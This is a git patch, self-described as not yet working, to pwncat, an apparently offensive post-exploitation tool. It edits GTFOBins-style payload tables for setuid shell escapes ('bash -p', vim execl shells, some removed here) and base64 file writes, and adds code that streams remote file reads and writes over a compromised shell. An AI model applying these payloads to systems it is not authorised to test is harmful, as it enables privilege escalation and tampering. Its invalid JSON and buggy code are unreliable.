From 425a3c99cd299d2d0ca14e89347231cda025e1e6 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Mon, 11 May 2020 15:27:49 -0400 Subject: [PATCH] Doesn't work yet --- data/gtfobins.json | 36 ++----------------- data/gtfobins2.json | 81 ++++++++++++++++++++++++++++++++++++++++++ pwncat/gtfobins.py | 71 ++++++++++++++++++++++++++++++++++++ pwncat/privesc/base.py | 3 +- pwncat/pty.py | 66 ++++++++++++++++++++++++++++++++++ 5 files changed, 222 insertions(+), 35 deletions(-) create mode 100644 data/gtfobins2.json diff --git a/data/gtfobins.json b/data/gtfobins.json index 8fda1d5..042616c 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -1,14 +1,7 @@ [ { "name": "cat", - "read_file": "{path} {lfile}" - }, - { - "name": "cp", - "write_file": { - "type": "base64", - "payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF" - } + "read_file": "{command} {lfile}" }, { "name": "bash", @@ -67,7 +60,7 @@ "read_file": "{path} '//' {lfile}", "write_file": { "type": "base64", - "payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'" + "payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'" } }, { @@ -139,30 +132,5 @@ "payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\"" }, "command": "{path} -p -c {command}" - }, - { - "name": "vim.basic", - "shell": { - - "need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"] - } - }, - { - "name": "vim.basic", - "shell": { - "need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"] - } - }, - { - "name": "vim.basic", - "shell": { - "need" : ["-e", "+:!{shell}", "+q!"] - }, - "read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin", - "write_file": { - "type": "base64", - "payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin" - }, - "command": "{path} -c ':!{command}'" } ] diff --git a/data/gtfobins2.json b/data/gtfobins2.json new file mode 100644 index 0000000..4a302b2 --- /dev/null +++ b/data/gtfobins2.json @@ -0,0 +1,81 @@ +{ + // Each item is a list of capabilities for this binary + "dd": [ + { + // This is a read capability + "type": "read", + // No other commands need to be executed besides the command + // "command" exands to the binary path and any arguments provided + // If the data needs to be dealt with earlier, you can use "{data}" + // here. + "payload": "{command}", + // This is used to pass arguments to the application (auto-merged + // into "{command}". + "args": ["if={lfile}"], + // Prepends arguments, if any to the "args" for setuid context. + "suid": [], + // Input which needs to be passed to the application. All insertions + // work here (such as {lfile}, {command}), but also {data} if you are + // streaming the data to the remote application. + "input": "", + // If needed, specify some data that must be sent to exit the remote + // application after the read is finished. + "exit": "{ctrl_c}", + // This specifies how to handle the data. There can be a few + // different values here: + // - raw -> the data is unchanged and the controlling terminal + // is set to raw mode for effective reading. This mode + // requires a known data length and the command will fail + // without it. + // - print -> the data is unchanged, but the controlling + // terminal is not changed to raw mode. Only printable + // data is safe from TTY translation. + // - base64 -> all data is converted from base64. Data sent + // to the remote process should be in base64 form, and the + // tty is not set to raw mode. + // - hex -> same as base64, but base16 instead. + "stream": "raw" + }, + { + "type": "write", + "stream": "raw", + "payload": "{command} of={lfile} oflag=count_bytes count={length}" + "input": "{data}", + } + ], + // Another example + "bash": [ + { + "type": "shell", + "stream": "print", + "suid": ["-p"], + "exit": "exit" + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} -c '{cat} {lfile}'", + "suid": ["-p"], + } + ], + "cat": [ + { + "type": "read", + "stream": "raw", + "payload": "{command} {lfile}", + }, + { + "type": "write", + "stream": "base64", + "payload": "{base64} -d | {command} > {lfile}" + "args": [], + }, + { + "type": "write", + "stream": "print", + "payload": "{command} > {lfile}", + "args": [], + "exit": "{ctrl_c}" + } + ] +} diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py index d185922..9737305 100644 --- a/pwncat/gtfobins.py +++ b/pwncat/gtfobins.py @@ -8,6 +8,7 @@ import json import os from pwncat.privesc import Capability +from pwncat import util class MissingBinary(Exception): @@ -44,6 +45,8 @@ class Binary: self.capabilities |= Capability.SHELL if self.has_write_file: self.capabilities |= Capability.WRITE + if self.has_write_stream: + self.capabilities |= Capability.WRITE_STREAM # We need to fix this later...? if self.has_shell: @@ -74,6 +77,43 @@ class Binary: return target + def parse_entry(self, entry, sudo_prefix: str = None, suid=False, **args): + """ Parse an entry for read_file, write_file, or shell """ + + if isinstance(entry, str): + entry = shlex.split(entry) + payload = entry[0] + args = entry[1:] + input_data = "" + stream_type = "print" + exit_command = "" + suid_args = [] + else: + payload = entry.get("payload", "{command}") + args = entry.get("args", []) + input_data = entry.get("input", "") + stream_type = entry.get("type", "print") + exit_command = entry.get("exit", "") + suid_args = entry.get("suid", []) + + command = self.path + if sudo_prefix: + command = sudo_prefix + " " + command + + args = [self.resolve_binaries(a, **args) for a in args] + input_data = self.resolve_binaries(input_data, ctrl_c=util.CTRL_C, **args) + exit_command = self.resolve_binaries(exit_command, ctrl_c=util.CTRL_C, **args) + suid_args = self.resolve_binaries(suid_args, **args) + + if len(suid_args): + command = command + " " + shlex.join(suid_args) + if len(args): + command = command + " " + shlex.join(args) + + payload = self.resolve_binaries(payload, command=command, **args) + + return payload, input_data, exit_command, stream_type + def shell( self, shell_path: str, @@ -277,6 +317,37 @@ class Binary: return False return result is not None + @property + def has_write_stream(self): + try: + result = self.write_stream("test") + except MissingBinary: + return False + return result is not None + + def write_stream(self, file_path, sudo_prefix: str = None) -> str: + """ Build a payload which will write stdin to a file. """ + + if "write_stream" not in self.data: + return None + + path = self.path + if sudo_prefix: + path = sudo_prefix + " " + path + + if isinstance(self.data["write_stream"], str): + command = self.data["write_stream"] + input = None + else: + command = self.data["write_stream"].get("command", "{path}") + input = self.data["write_stream"].get("input", None) + + command = self.resolve_binaries(command, path=path) + if input is not None: + input = self.resolve_binaries(input, path=path) + + return (command, input) + def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str: """ Build a payload to write the specified data into the file """ diff --git a/pwncat/privesc/base.py b/pwncat/privesc/base.py index aa81577..32724d6 100644 --- a/pwncat/privesc/base.py +++ b/pwncat/privesc/base.py @@ -17,7 +17,8 @@ class Capability: WRITE = 2 SHELL = 4 SUDO = SHELL - last = 8 + WRITE_STREAM = 8 + last = 16 ALL = READ | WRITE | SHELL | SUDO diff --git a/pwncat/pty.py b/pwncat/pty.py index c7bd62a..820daa8 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -35,6 +35,8 @@ from pwncat import util from pwncat import downloader, uploader, privesc from pwncat.file import RemoteBinaryPipe from pwncat.lexer import LocalCommandLexer, PwncatStyle +from pwncat import gtfobins +from pwncat.privesc import Capability from colorama import Fore @@ -1097,6 +1099,70 @@ class PtyHandler: return pipe + def do_test(self, argv): + + util.info("Attempting to stream data to a remote file...") + with self.open("/tmp/stream_test", "wb") as filp: + filp.write(b"It fucking worked!") + + util.info("Attempting to stream the data back...") + with self.open("/tmp/stream_test", "rb") as filp: + print(filp.read()) + + def open(self, path: str, mode: str): + """ Generically open a remote file for reading or writing. Does not + support simultaneously read and write. TextIO is implemented with a + TextIOWrapper. No other remote interaction should occur until this + stream is closed. """ + + # We can't do simultaneous read and write + if "r" in mode and "w" in mode: + raise ValueError("only one of 'r' or 'w' may be specified") + + # Allow the temp file wrapper to access the pty + pty = self + + if "r" in mode: + # Simple case, we have a reader w/ GTFO bins + reader = gtfobins.Binary.find_capability(self.which, Capability.READ) + if reader is not None: + print(reader.read_file(path)) + pipe = self.subprocess(reader.read_file(path), mode="rb") + else: + # We need to use the download functionality + pipe = tempfile.NamedTemporaryFile("rb") + self.do_download(["-o", pipe.name, path]) + else: + # Writing is more complicated. + writer = gtfobins.Binary.find_capability( + self.which, Capability.WRITE_STREAM + ) + if writer is not None: + print(writer.write_stream(path)) + pipe = self.subprocess(writer.write_stream(path), mode="wb") + else: + # We need to use the upload functionality. We will create a + # named temporary file which upon closing will upload itself to + # the remote machine. This isn't perfect, but allows for + # seemless interaction. + pipe = tempfile.NamedTemporaryFile("wb", delete=False) + close_method = pipe.close + + def close_wrapper(pipe_self): + """ This wraps the close method of the returned file object + to ensure that we upload the file after it is closed. """ + close_method(pipe_self) + self.do_upload(["-o", path, pipe_self.name]) + + pipe.close = close_wrapper + + if "b" in mode: + return pipe + elif "r" in mode: + return io.TextIOWrapper(io.BufferedReader(pipe)) + elif "w" in mode: + return io.TextIOWrapper(io.BufferedWriter(pipe)) + def raw(self, echo: bool = False): self.stty_saved = self.run("stty -g").decode("utf-8").strip() self.run("stty raw -echo", wait=False)